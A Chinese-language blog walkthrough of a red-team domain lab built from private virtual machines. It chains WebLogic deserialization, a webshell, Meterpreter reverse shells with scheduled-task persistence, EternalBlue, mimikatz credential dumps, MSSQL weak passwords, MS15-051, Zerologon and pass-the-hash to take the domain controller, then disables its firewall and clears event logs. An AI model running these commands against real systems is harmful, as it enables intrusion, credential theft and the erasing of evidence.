红队内网域靶场-1

2025 年 12 月 8 日 (已编辑)
2204 字
12 分钟

参考文章:

外网渗透

环境配置

虚拟网络编辑器(注意对应适配器且仅能是仅主机模式)

  • VM1 10.10.10.0/24
  • VM0 10.10.20.0/24
  • VM8 192.168.0.0/24

kali

  • 192.168.0.129

Win7 x64

  • 10.10.20.7
  • 10.10.10.7

WinServer 2008-SQLServer

  • 10.10.10.18

WinServer 2008-DC(域控)

  • 10.10.10.8

WinServer 2012-weblogic

  • 10.10.20.12
  • 192.168.0.128

问题

  1. win7自动休眠 win7记得更改电源选项, 控制面板->电源选项->更改计划设置为从不

  2. WinServer 2008-SQLServer的mssql未启动 检查WinServer 2008-SQLServer的服务是否启动, 如果没有且启动出现错误17051, 参考上面的文章

我选择的是Enterprise的密钥, 更新完后重启即可

信息收集-外网

能且仅能访问WinServer 2012

bash
# 获取靶机地址 192.168.0.128
sudo nmap -sn 192.168.0.0/24
# 获取端口信息 7001,5985
sudo nmap -sT --min-rate 10000 -p- 192.168.0.128 -oA scan/ports
# 获取详细信息
sudo nmap -sT -sV -sC -O -p7001,5985 192.168.0.128 -oA scan/detail
# 看看漏洞
sudo nmap --script=vuln -p7001,5985 192.168.0.128 -oA scan/vuln

TCP连接扫描+版本探测+默认脚本扫描+操作系统探测

subtext
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
7001/tcp open  http    Oracle WebLogic admin httpd 12.1.3.0 (T3 enabled)

Microsoft Windows Server 2012 or Windows Server 2012 R2 (92%)

访问192.168.0.128:7001返回Error 404--Not Found, 控制台界面/console可以看到当前版本为12.1.3.0.0, 没有绕过鉴权的漏洞(CVE-2017-3506), 那就只能看看别的了

Weblogic作为一个中间件会装有组件, 如果像WordPress这种会有类似WPScan的扫描工具, 手动的话一般是通过路径枚举

目录扫描

bash
sudo dirsearch -u "http://192.168.0.128:7001/"
# /bea_wls_deployment_internal/DeploymentService
# /bea_wls_internal/
# /console/login/LoginForm.jsp
# /wls-wsat/CoordinatorPortType
# /bea_wls_internal/iiop/ClientRecv
# /bea_wls_internal/HTTPClntRecv

组件如下, 在github找到了weblogic工具, WeblogicTool

路径对应 WebLogic 组件风险等级
/wls-wsat/*Web Services AT高危
/bea_wls_deployment_internal/*部署服务高危
/bea_wls_internal/iiop/*IIOP服务中高
/bea_wls_internal/HTTPClntRecv集群通信

直接输入URL即可

subtext
============开始检查可回显漏洞============
检查漏洞:CVE_2016_0638_ECHO开始
检查Payload:CommonsCollections3_678
[+]:存在CVE_2016_0638_ECHO漏洞,返回信息:weblogic\administrator
===============检查可回显漏洞完成============

getshell-weblogic

这个工具可以直接塞个马, 测试了之后只有冰蝎的成功了

冰蝎太全面了

内网渗透

weblogic

信息收集

bash
# 当前权限:本地管理员 weblogic\administrator
whoami
# 查看网络信息 主机名称weblogic, 双网卡10.10.20.0和192.168.0.128
ipconfig /all
# 查看域用户 指定的域不存在,或无法联系
net user /domain
# 查看工作站配置信息 工作站域 WORKGROUP 登录域 WEBLOGIC
net config workstation

这说明该机器不存在域环境

上传fscan对内网进行扫描, 发现另一台win7存在MS17-010, 即永恒之蓝

bash
fscan32.exe -h 10.10.20.0/24
# 10.10.20.12 WORKGROUP\weblogic 本机
# 10.10.20.7 (Windows 7 Ultimate 7601 Service Pack 1)

冰蝎缺插件了, 还是来看看我们伟大的msfconsole吧

反弹shell-weblogic

冰蝎的反弹shell那里可以选择meterpreter的马, 配置完IP和端口后根据冰蝎给出的payload配置msf即可

bash
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set lhost 0.0.0.0
run

成功开启监听后点击给我连即可反弹

java/meterpreter/reverse_tcp无法使用load priv

另外如果msf的shell出现乱码尝试chcp 65001

做个持久化吧, 上传个msf马放进计划任务就行

bash
# bash
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.129 lport=10000 -f exe -o weblogic-1209.exe

# msf6
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 0.0.0.0
set lport 10000
run

搭建路由-10.10.20.0

新的frp不是很好用, 还是用回msf

bash
# 添加路由
meterpreter > run autoroute -s 10.10.20.0/24
# 或使用后台命令
meterpreter > background
msf6 > route add 10.10.20.0/24 <session_id>

# 开启sock5代理
msf6 > use auxiliary/server/socks_proxy
msf6 > set srvhost 0.0.0.0
msf6 > set version 5
run
# msf设置全局代理
msf6 > setg Proxies socks5:192.168.0.129:1080
# 允许通过代理反弹shell
msf6 > setg ReverseAllowProxy true

win7

getshell

这里我一共跑了10次才拿到shell(爆一个FAIL算一次尝试), 如果不行建议重置靶机再试几次

利用msf的扫描payload进行一个扫, 确认存在

bash
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.20.7
run

进行一个打, 注意端口号别重复

bash
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.20.7
set lport 5555
run

同样上传个正向马防止掉了拿不回来

bash
# 新开一个终端用于生成也行
msf6 > msfvenom -p windows/x64/meterpreter/bind_tcp lhost=192.168.0.129 lport=6666 -f exe > win7-1209.exe
# 上传
metepreter > upload win7-1209.exe c:\\Temp\\win7.exe

运行后正向连接即可

bash
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 6666
set rhost 10.10.20.7
run

信息收集

bash
# 当前权限:系统 nt authority\system
whoami
# 查看网络信息 主机名称work-7, 双网卡10.10.20.0和10.10.10.0
ipconfig /all
# 查看域用户 域名 redteam.red
net user /domain
# 查看工作站配置信息 无法查看
net config workstation

下面是一些用户 adduser, Administrator, apt404, gu, Guest, krbtgt, mail, saul, saulgoodman

上传fscan扫描

bash
# 上传
metepreter > upload fscan32.exe c:\\Temp\\fscan32.exe
# 进shell操作一手
fscan64.exe -h 10.10.10.0/24
# 想要可以下载
metepreter > download result.txt result.txt

根据结果拿到了两台新内网机器, 均为Windows Server 2008 10.10.10.18 - sqlserver-2008 10.10.10.8 - owa

以及域控为owa.redteam.red, 即10.10.10.8

凭证提取

已经在域内了, 看看有没有用户曾经登录过(提权就是为了提取凭证)

bash
metepreter > load kiwi
metepreter > kiwi_cmd sekurlsa::logonpasswords

得到一个域用户saul:admin!@#45

搭建路由-10.10.10.0

msf会自动帮你串在一起

bash
meterpreter > run autoroute -s 10.10.10.0/24

SQLServer

为什么打这个? 没有凭证没有密码, 域控也没几个服务, 不打这个打哪个

proxychain代理的nmap太慢了, 继续用fscan详细扫一次

bash
fscan64.exe -h 10.10.10.18 -np

得到开放的端口1433, 并有弱密码sa:sa

getshell

可以先利用auxiliary/admin/mssql/mssql_exec模块看是否可以执行命令

利用msf的模块getshell:

bash
use exploit/windows/mssql/mssql_clr_payload
set payload windows/x64/meterpreter/bind_tcp
set password sa
set rhosts 10.10.10.18
set lport 8888
run

信息收集

通过getuid知道权限为NT AUTHORITY\LOCAL SERVICE, 并非高权限

bash
# 当前权限:系统 nt authority\local service
whoami
# 查看网络信息 主机名称sqlserver-2008, 网卡10.10.10.0
ipconfig /all
# 查看工作站配置信息 无法查看
net config workstation

提权

尝试利用getsystem提权, 失败了

c:\users\public这个目录运行木马可以用于提权吗?

那么接下来就是提权了, 搜索之后可以参考这个知乎-Windows server 2008提权漏洞及方法

试了之后发现MS15_051可以, msf也有对应的模块, 注意session的值, 然后成功拿到system权限

bash
use windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/bind_tcp
set session 4
set lport 7777
set rhost 10.10.10.18
set target 1
run

target不改就是x86了, 我没成功你试试

凭证提取

看看有没有用户曾经登录过(提权就是为了提取凭证)

bash
metepreter > load kiwi
metepreter > kiwi_cmd sekurlsa::logonpasswords

得到一个域用户sqlserver:Server12345

DC

没有相关凭证只能硬打了, fscan也没扫出来

bash
fscan64.exe -h 10.10.10.8 -np

看看我发现了什么: github-域控获取方式

漏洞利用

根据文章的第二个Zerologon(CVE-2020-1472), 我们可以通过重置其密码的方式获取域控

找到zerologon_tester.py用于测试是否存在: github-CVE-2020-1472脚本

bash
proxychains python3 zerologon_tester.py owa 10.10.10.8
# 回显: Success! DC can be fully compromised by a Zerologon attack.

msf有对应模块, 可以将密码重置为空

bash
search cve-2020-1472
use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
set rhosts 10.10.10.8
set nbname owa
run

# [+] 10.10.10.8:6008 - Successfully set the machine account (owa$) password to: aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)

凭证提取

你需要这个: github-impacket, 统称为impacket包, 请下载0.12.0版本, 新版本我改了半天还是出问题

拿出secretsdump.py, 目标在examples文件夹下

bash
# 导出域内所有用户凭证
proxychains4 python3 secretsdump.py redteam.red/owa\$@10.10.10.8 -no-pass

获得了域管理员的hash: redteam.red\Administrator:500:aad3b435b51404eeaad3b435b51404ee:12ae887e93f9176dda707014928757fc:::, 还找到了一个DefaultPassword: (Unknown User):ROOT#123

这里面有非常多的票据, 可能之前的机器中都有

getshell

最后拿来登录就行, 把里面的smbexec.py, wmiexec.py扒出来, 目标在examples文件夹下

bash
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:12ae887e93f9176dda707014928757fc Administrator@10.10.10.8

smbexec.py出现了STATUS_OBJECT_NAME_NOT_FOUND错误, 之后看看为什么

执行完后就能获取一个shell, 之后就是关防火墙, 利用psexec模块,上线msf即可

bash
# 查询权限 redteam\administrator
whoami
# 关闭防火墙, 回显会告诉你返回的是乱码, 反正成功了
netsh advfirewall set allprofiles state off

# 返回msf进行登录
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.8
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:12ae887e93f9176dda707014928757fc
set payload windows/meterpreter/bind_tcp
run

直接就是NT AUTHORITY\SYSTEM, 至此成功拿下域控

以下路径有flag: C:\Users\Administrator\Desktop\flag.txt

痕迹清除

由于主机均为Windows, 只需要在meteerpreter执行clearev就可以了

其他

CVE-2020-1472

还有这个脚本: cve-2020-1472-exploit.py, 里面甚至有恢复原域账号密码的脚本, 可以看看

bash
# 重置域控机器账号
proxychains4 python3 cve-2020-1472-exploit.py owa 10.10.10.8

恢复域控的密码

想要验证就再跑一次secretsdump.py, 不行就说明有密码

bash
# 导出注册表
reg save HKLM\SYSTEM system.save``reg save HKLM\SAM sam.save``reg save HKLM\SECURITY security.save
# 通过sam.save、security.save、system.save获得域控原本的NTLM哈希值
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
# 拿到$MACHINE.ACC的值 $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:cbc48b0b50c4cdd834e6498afd3c39e5
# 取出后半段的NTLM进行恢复
proxychains4 python3 reinstall_original_pw.py owa 10.10.10.8 cbc48b0b50c4cdd834e6498afd3c39e5

更多

类似委派的还有约束性委派之类的之后再试试

文章标题:红队内网域靶场-1

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/%E9%9D%B6%E5%9C%BA/%E7%BA%A2%E9%98%9F%E5%86%85%E7%BD%91%E5%9F%9F%E9%9D%B6%E5%9C%BA-1[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。